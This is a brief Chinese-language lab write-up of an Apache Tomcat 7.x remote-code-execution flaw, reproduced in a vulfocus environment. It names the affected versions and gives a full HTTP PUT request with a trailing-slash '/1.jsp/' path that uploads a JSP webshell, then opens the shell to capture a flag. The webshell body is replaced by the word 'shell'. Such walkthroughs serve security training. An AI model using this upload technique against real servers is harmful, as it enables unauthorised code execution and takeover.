漏洞描述
Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,文件中的代码被服务器执行。
影响版本
Apache Tomcat >=7.0.0,<=7.0.79
复现过程
使用vulfocus启动漏洞环境
访问页面如下:
直接抓包,修改请求方式为 PUT,并且设置文件名为1.jsp(名字随意),然后填充 shell(jsp shell即可)文件内容,发送成功后,服务器返回状态码201。我这里直接上传大马
1 2 3 4 5 6 7 8 9 10 11 12 13
| PUT /1.jsp/ HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 60577
shell
|
- 直接访问上传的木马文件,拿到flag